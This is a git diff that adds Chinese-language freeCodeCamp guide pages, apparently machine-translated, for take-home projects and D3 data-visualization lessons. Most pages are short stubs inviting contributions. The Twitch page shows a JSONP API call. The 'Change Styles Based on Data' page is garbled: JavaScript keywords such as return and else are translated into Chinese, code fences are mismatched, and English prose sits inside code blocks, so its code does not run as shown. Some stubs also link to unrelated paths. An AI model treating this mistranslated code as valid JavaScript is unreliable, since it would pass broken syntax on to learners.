diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/take-home-projects/build-a-tic-tac-toe-game/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/take-home-projects/build-a-tic-tac-toe-game/index.md
new file mode 100644
index 0000000000..a6ed79ee94
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/take-home-projects/build-a-tic-tac-toe-game/index.md
@@ -0,0 +1,9 @@
+---
+title: Build a Tic Tac Toe Game
+localeTitle: 建立一个Tic Tac Toe游戏
+---
+## 建立一个Tic Tac Toe游戏
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/take-home-projects/build-a-tic-tac-toe-game/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/take-home-projects/build-a-voting-app/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/take-home-projects/build-a-voting-app/index.md
new file mode 100644
index 0000000000..d52c46852c
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/take-home-projects/build-a-voting-app/index.md
@@ -0,0 +1,9 @@
+---
+title: Build a Voting App
+localeTitle: 建立一个投票应用程序
+---
+## 建立一个投票应用程序
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/take-home-projects/build-a-voting-app/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/take-home-projects/build-a-wikipedia-viewer/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/take-home-projects/build-a-wikipedia-viewer/index.md
new file mode 100644
index 0000000000..b02caa75e6
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/take-home-projects/build-a-wikipedia-viewer/index.md
@@ -0,0 +1,9 @@
+---
+title: Build a Wikipedia Viewer
+localeTitle: 构建Wikipedia查看器
+---
+## 构建Wikipedia查看器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/take-home-projects/build-a-wikipedia-viewer/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/take-home-projects/build-an-image-search-abstraction-layer/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/take-home-projects/build-an-image-search-abstraction-layer/index.md
new file mode 100644
index 0000000000..4792aee8df
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/take-home-projects/build-an-image-search-abstraction-layer/index.md
@@ -0,0 +1,9 @@
+---
+title: Build an Image Search Abstraction Layer
+localeTitle: 构建图像搜索抽象层
+---
+## 构建图像搜索抽象层
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/take-home-projects/build-an-image-search-abstraction-layer/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/take-home-projects/build-the-game-of-life/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/take-home-projects/build-the-game-of-life/index.md
new file mode 100644
index 0000000000..9dc2063735
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/take-home-projects/build-the-game-of-life/index.md
@@ -0,0 +1,9 @@
+---
+title: Build the Game of Life
+localeTitle: 打造生命游戏
+---
+## 打造生命游戏
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/take-home-projects/build-the-game-of-life/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/take-home-projects/chart-the-stock-market/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/take-home-projects/chart-the-stock-market/index.md
new file mode 100644
index 0000000000..ef2a9a267a
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/take-home-projects/chart-the-stock-market/index.md
@@ -0,0 +1,9 @@
+---
+title: Chart the Stock Market
+localeTitle: 图表股市
+---
+## 图表股市
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/take-home-projects/chart-the-stock-market/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/take-home-projects/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/take-home-projects/index.md
new file mode 100644
index 0000000000..a4b0d51985
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/take-home-projects/index.md
@@ -0,0 +1,11 @@
+---
+title: Take Home Projects
+localeTitle: 带回家项目
+---
+## 带回家项目
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/take-home-projects/manage-a-book-trading-club/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/take-home-projects/manage-a-book-trading-club/index.md
new file mode 100644
index 0000000000..f0b6f895c0
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/take-home-projects/manage-a-book-trading-club/index.md
@@ -0,0 +1,9 @@
+---
+title: Manage a Book Trading Club
+localeTitle: 管理图书交易俱乐部
+---
+## 管理图书交易俱乐部
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/take-home-projects/manage-a-book-trading-club/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/take-home-projects/map-data-across-the-globe/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/take-home-projects/map-data-across-the-globe/index.md
new file mode 100644
index 0000000000..5a5ab679b5
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/take-home-projects/map-data-across-the-globe/index.md
@@ -0,0 +1,9 @@
+---
+title: Map Data Across the Globe
+localeTitle: 全球地图数据
+---
+## 全球地图数据
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/take-home-projects/map-data-across-the-globe/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/take-home-projects/p2p-video-chat-application/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/take-home-projects/p2p-video-chat-application/index.md
new file mode 100644
index 0000000000..a6f0db1c9a
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/take-home-projects/p2p-video-chat-application/index.md
@@ -0,0 +1,9 @@
+---
+title: P2P Video Chat Application
+localeTitle: P2P视频聊天应用
+---
+## P2P视频聊天应用
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/take-home-projects/p2p-video-chat-application/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/take-home-projects/show-national-contiguity-with-a-force-directed-graph/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/take-home-projects/show-national-contiguity-with-a-force-directed-graph/index.md
new file mode 100644
index 0000000000..0d22c640ec
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/take-home-projects/show-national-contiguity-with-a-force-directed-graph/index.md
@@ -0,0 +1,9 @@
+---
+title: Show National Contiguity with a Force Directed Graph
+localeTitle: 用力导向图显示全国连续性
+---
+## 用力导向图显示全国连续性
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/take-home-projects/show-national-contiguity-with-a-force-directed-graph/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/take-home-projects/show-the-local-weather/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/take-home-projects/show-the-local-weather/index.md
new file mode 100644
index 0000000000..e21b5761e5
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/take-home-projects/show-the-local-weather/index.md
@@ -0,0 +1,9 @@
+---
+title: Show the Local Weather
+localeTitle: 显示当地天气
+---
+## 显示当地天气
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/take-home-projects/show-the-local-weather/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/take-home-projects/use-the-twitch-json-api/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/take-home-projects/use-the-twitch-json-api/index.md
new file mode 100644
index 0000000000..be3b0f0a48
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/take-home-projects/use-the-twitch-json-api/index.md
@@ -0,0 +1,28 @@
+---
+title: Use the Twitch JSON API
+localeTitle: 使用Twitch JSON API
+---
+2016年9月29日更新：Twitch已更改其API，现在需要API密钥才能运行查询。如果您使用CodePen或GitHub页面来构建这些页面，我们建议您出于安全原因向项目添加API密钥。
+
+我们建议不要使用Twitch的API，而是[将此JSON](https://gist.github.com/QuincyLarson/2ff6892f948d0b7118a99264fd9c1ce8)硬编码到您的应用中作为变量。这是来自Twitch的不同账户的一系列回复。
+
+* * *
+
+如果您正尝试使用jQuery的`$.getJSON()`方法来解决此挑战，您可能会收到有关跨源资源共享（CORS）的错误消息。
+
+解决此问题的最简单方法是使用jQuery的JSONP功能。从Twitch API的[自述页面](https://github.com/justintv/Twitch-API#json-p) ：
+
+> 所有API方法都通过为请求提供回调参数来支持JSON-P。
+
+[jQuery文档还](http://api.jquery.com/jQuery.getJSON/)指出：
+
+> 如果URL包含字符串“callback =？” （或类似的，由服务器端API定义），请求被视为JSONP。
+
+以下是获取免费代码营的Twitch频道数据的示例调用：
+```
+$.getJSON('https://api.twitch.tv/kraken/streams/freecodecamp?callback=?', function(data) { 
+  console.log(data); 
+ }); 
+```
+
+[根据维基百科](https://en.wikipedia.org/wiki/Cross-origin_resource_sharing#CORS_vs_JSONP) ，JSONP被认为是不安全的，但应该足以满足我们的目的。有关Twitch的CORS限制的详细讨论，请阅读Twitch-API存储库上的[问题＃133](https://github.com/justintv/Twitch-API/issues/133) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/data-visualization/data-visualization-projects/index.md b/client/src/guide/chinese/certifications/data-visualization/data-visualization-projects/index.md
new file mode 100644
index 0000000000..2256dcf700
--- /dev/null
+++ b/client/src/guide/chinese/certifications/data-visualization/data-visualization-projects/index.md
@@ -0,0 +1,11 @@
+---
+title: Data Visualization Projects
+localeTitle: 数据可视化项目
+---
+## 数据可视化项目
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/data-visualization/data-visualization-projects/visualize-data-with-a-bar-chart/index.md b/client/src/guide/chinese/certifications/data-visualization/data-visualization-projects/visualize-data-with-a-bar-chart/index.md
new file mode 100644
index 0000000000..9f0f492874
--- /dev/null
+++ b/client/src/guide/chinese/certifications/data-visualization/data-visualization-projects/visualize-data-with-a-bar-chart/index.md
@@ -0,0 +1,9 @@
+---
+title: Visualize Data with a Bar Chart
+localeTitle: 使用条形图可视化数据
+---
+## 使用条形图可视化数据
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-projects/visualize-data-with-a-bar-chart/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/data-visualization/data-visualization-projects/visualize-data-with-a-choropleth-map/index.md b/client/src/guide/chinese/certifications/data-visualization/data-visualization-projects/visualize-data-with-a-choropleth-map/index.md
new file mode 100644
index 0000000000..a88c954ca3
--- /dev/null
+++ b/client/src/guide/chinese/certifications/data-visualization/data-visualization-projects/visualize-data-with-a-choropleth-map/index.md
@@ -0,0 +1,9 @@
+---
+title: Visualize Data with a Choropleth Map
+localeTitle: 使用等值线图可视化数据
+---
+## 使用等值线图可视化数据
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-projects/visualize-data-with-a-choropleth-map/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/data-visualization/data-visualization-projects/visualize-data-with-a-heat-map/index.md b/client/src/guide/chinese/certifications/data-visualization/data-visualization-projects/visualize-data-with-a-heat-map/index.md
new file mode 100644
index 0000000000..943ba4b472
--- /dev/null
+++ b/client/src/guide/chinese/certifications/data-visualization/data-visualization-projects/visualize-data-with-a-heat-map/index.md
@@ -0,0 +1,9 @@
+---
+title: Visualize Data with a Heat Map
+localeTitle: 使用热图可视化数据
+---
+## 使用热图可视化数据
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-projects/visualize-data-with-a-heat-map/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/data-visualization/data-visualization-projects/visualize-data-with-a-scatterplot-graph/index.md b/client/src/guide/chinese/certifications/data-visualization/data-visualization-projects/visualize-data-with-a-scatterplot-graph/index.md
new file mode 100644
index 0000000000..2fbe5241d9
--- /dev/null
+++ b/client/src/guide/chinese/certifications/data-visualization/data-visualization-projects/visualize-data-with-a-scatterplot-graph/index.md
@@ -0,0 +1,9 @@
+---
+title: Visualize Data with a Scatterplot Graph
+localeTitle: 使用散点图可视化数据
+---
+## 使用散点图可视化数据
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-projects/visualize-data-with-a-scatterplot-graph/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/data-visualization/data-visualization-projects/visualize-data-with-a-treemap-diagram/index.md b/client/src/guide/chinese/certifications/data-visualization/data-visualization-projects/visualize-data-with-a-treemap-diagram/index.md
new file mode 100644
index 0000000000..ae345d21dd
--- /dev/null
+++ b/client/src/guide/chinese/certifications/data-visualization/data-visualization-projects/visualize-data-with-a-treemap-diagram/index.md
@@ -0,0 +1,9 @@
+---
+title: Visualize Data with a Treemap Diagram
+localeTitle: 使用树形图可视化数据
+---
+## 使用树形图可视化数据
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-projects/visualize-data-with-a-treemap-diagram/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/add-a-hover-effect-to-a-d3-element/index.md b/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/add-a-hover-effect-to-a-d3-element/index.md
new file mode 100644
index 0000000000..dcff2ccb2c
--- /dev/null
+++ b/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/add-a-hover-effect-to-a-d3-element/index.md
@@ -0,0 +1,9 @@
+---
+title: Add a Hover Effect to a D3 Element
+localeTitle: 将悬停效果添加到D3元素
+---
+## 将悬停效果添加到D3元素
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/add-a-hover-effect-to-a-d3-element/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/add-a-tooltip-to-a-d3-element/index.md b/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/add-a-tooltip-to-a-d3-element/index.md
new file mode 100644
index 0000000000..a773615b0e
--- /dev/null
+++ b/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/add-a-tooltip-to-a-d3-element/index.md
@@ -0,0 +1,9 @@
+---
+title: Add a Tooltip to a D3 Element
+localeTitle: 将工具提示添加到D3元素
+---
+## 将工具提示添加到D3元素
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/add-a-tooltip-to-a-d3-element/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/add-attributes-to-the-circle-elements/index.md b/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/add-attributes-to-the-circle-elements/index.md
new file mode 100644
index 0000000000..ff51e374e2
--- /dev/null
+++ b/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/add-attributes-to-the-circle-elements/index.md
@@ -0,0 +1,9 @@
+---
+title: Add Attributes to the Circle Elements
+localeTitle: 将属性添加到圆形元素
+---
+## 将属性添加到圆形元素
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/add-attributes-to-the-circle-elements/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/add-axes-to-a-visualization/index.md b/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/add-axes-to-a-visualization/index.md
new file mode 100644
index 0000000000..0f73014c18
--- /dev/null
+++ b/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/add-axes-to-a-visualization/index.md
@@ -0,0 +1,9 @@
+---
+title: Add Axes to a Visualization
+localeTitle: 将轴添加到可视化
+---
+## 将轴添加到可视化
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/add-axes-to-a-visualization/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/add-classes-with-d3/index.md b/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/add-classes-with-d3/index.md
new file mode 100644
index 0000000000..d97c9c4f41
--- /dev/null
+++ b/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/add-classes-with-d3/index.md
@@ -0,0 +1,9 @@
+---
+title: Add Classes with D3
+localeTitle: 使用D3添加类
+---
+## 使用D3添加类
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/add-classes-with-d3/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/add-document-elements-with-d3/index.md b/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/add-document-elements-with-d3/index.md
new file mode 100644
index 0000000000..563dfbd984
--- /dev/null
+++ b/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/add-document-elements-with-d3/index.md
@@ -0,0 +1,9 @@
+---
+title: Add Document Elements with D3
+localeTitle: 使用D3添加文档元素
+---
+## 使用D3添加文档元素
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/add-document-elements-with-d3/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/add-inline-styling-to-elements/index.md b/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/add-inline-styling-to-elements/index.md
new file mode 100644
index 0000000000..226ab87254
--- /dev/null
+++ b/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/add-inline-styling-to-elements/index.md
@@ -0,0 +1,9 @@
+---
+title: Add Inline Styling to Elements
+localeTitle: 向元素添加内联样式
+---
+## 向元素添加内联样式
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/add-inline-styling-to-elements/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/add-labels-to-d3-elements/index.md b/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/add-labels-to-d3-elements/index.md
new file mode 100644
index 0000000000..590b791f02
--- /dev/null
+++ b/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/add-labels-to-d3-elements/index.md
@@ -0,0 +1,9 @@
+---
+title: Add Labels to D3 Elements
+localeTitle: 将标签添加到D3元素
+---
+## 将标签添加到D3元素
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/add-labels-to-d3-elements/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/add-labels-to-scatter-plot-circles/index.md b/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/add-labels-to-scatter-plot-circles/index.md
new file mode 100644
index 0000000000..3c84f0edcd
--- /dev/null
+++ b/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/add-labels-to-scatter-plot-circles/index.md
@@ -0,0 +1,9 @@
+---
+title: Add Labels to Scatter Plot Circles
+localeTitle: 添加标签以分散绘图圆圈
+---
+## 添加标签以分散绘图圆圈
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/add-labels-to-scatter-plot-circles/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/change-styles-based-on-data/index.md b/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/change-styles-based-on-data/index.md
new file mode 100644
index 0000000000..04a1fb82df
--- /dev/null
+++ b/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/change-styles-based-on-data/index.md
@@ -0,0 +1,49 @@
+---
+title: Change Styles Based on Data
+localeTitle: 根据数据更改样式
+---
+## 根据数据更改样式
+
+再次什么是回调函数提醒自己[这](https://codeburst.io/javascript-what-the-heck-is-a-callback-aba4da2deced)
+
+使用if-else逻辑或三元运算符可以通过两种方式完成此部分。
+
+**if-else逻辑**
+
+来自[w3school的](https://www.w3schools.com/js/js_if_else.asp)一个例子
+
+\`\`\`的JavaScript
+
+const money = 50;
+
+if（money <50）{
+
+回归“我富有”;
+
+}
+
+其他{
+
+回归“我很穷”;
+
+}
+```
+What you need to remember is the bracket that the if-else logic associate with, (argument) and {statement} 
+ 
+ **Try Yourself Now**  👩‍💻👨‍💻 
+ 
+ 
+ 
+ **Ternary operator** 
+ 
+ A more detailed explanation [here](https://codeburst.io/javascript-the-conditional-ternary-operator-explained-cac7218beeff). Ternary operator is a lot more concise and quicker to remember for a simple true or false statement. Read [this](https://www.thoughtco.com/javascript-by-example-use-of-the-ternary-operator-2037394) 
+```
+
+JavaScript的
+
+条件？值为true：如果为false则为value
+```
+For someone who still not sure here is a solution by using If-else statement 
+```
+
+JavaScript的 .style（“color”，（d）=> { if（d <20）{ 返回'红色' } 其他{ 返回'绿色' } }） \`\`\`
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/change-the-color-of-an-svg-element/index.md b/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/change-the-color-of-an-svg-element/index.md
new file mode 100644
index 0000000000..98126837fa
--- /dev/null
+++ b/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/change-the-color-of-an-svg-element/index.md
@@ -0,0 +1,9 @@
+---
+title: Change the Color of an SVG Element
+localeTitle: 更改SVG元素的颜色
+---
+## 更改SVG元素的颜色
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/change-the-color-of-an-svg-element/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/change-the-presentation-of-a-bar-chart/index.md b/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/change-the-presentation-of-a-bar-chart/index.md
new file mode 100644
index 0000000000..9951a4364a
--- /dev/null
+++ b/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/change-the-presentation-of-a-bar-chart/index.md
@@ -0,0 +1,9 @@
+---
+title: Change the Presentation of a Bar Chart
+localeTitle: 更改条形图的演示文稿
+---
+## 更改条形图的演示文稿
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/change-the-presentation-of-a-bar-chart/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/create-a-bar-for-each-data-point-in-the-set/index.md b/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/create-a-bar-for-each-data-point-in-the-set/index.md
new file mode 100644
index 0000000000..205f0227f1
--- /dev/null
+++ b/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/create-a-bar-for-each-data-point-in-the-set/index.md
@@ -0,0 +1,9 @@
+---
+title: Create a Bar for Each Data Point in the Set
+localeTitle: 为集合中的每个数据点创建一个条
+---
+## 为集合中的每个数据点创建一个条
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/create-a-bar-for-each-data-point-in-the-set/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/create-a-linear-scale-with-d3/index.md b/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/create-a-linear-scale-with-d3/index.md
new file mode 100644
index 0000000000..a008cb4ea5
--- /dev/null
+++ b/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/create-a-linear-scale-with-d3/index.md
@@ -0,0 +1,9 @@
+---
+title: Create a Linear Scale with D3
+localeTitle: 使用D3创建线性比例
+---
+## 使用D3创建线性比例
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/create-a-linear-scale-with-d3/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/create-a-scatterplot-with-svg-circles/index.md b/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/create-a-scatterplot-with-svg-circles/index.md
new file mode 100644
index 0000000000..3bb35eb2f5
--- /dev/null
+++ b/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/create-a-scatterplot-with-svg-circles/index.md
@@ -0,0 +1,9 @@
+---
+title: Create a Scatterplot with SVG Circles
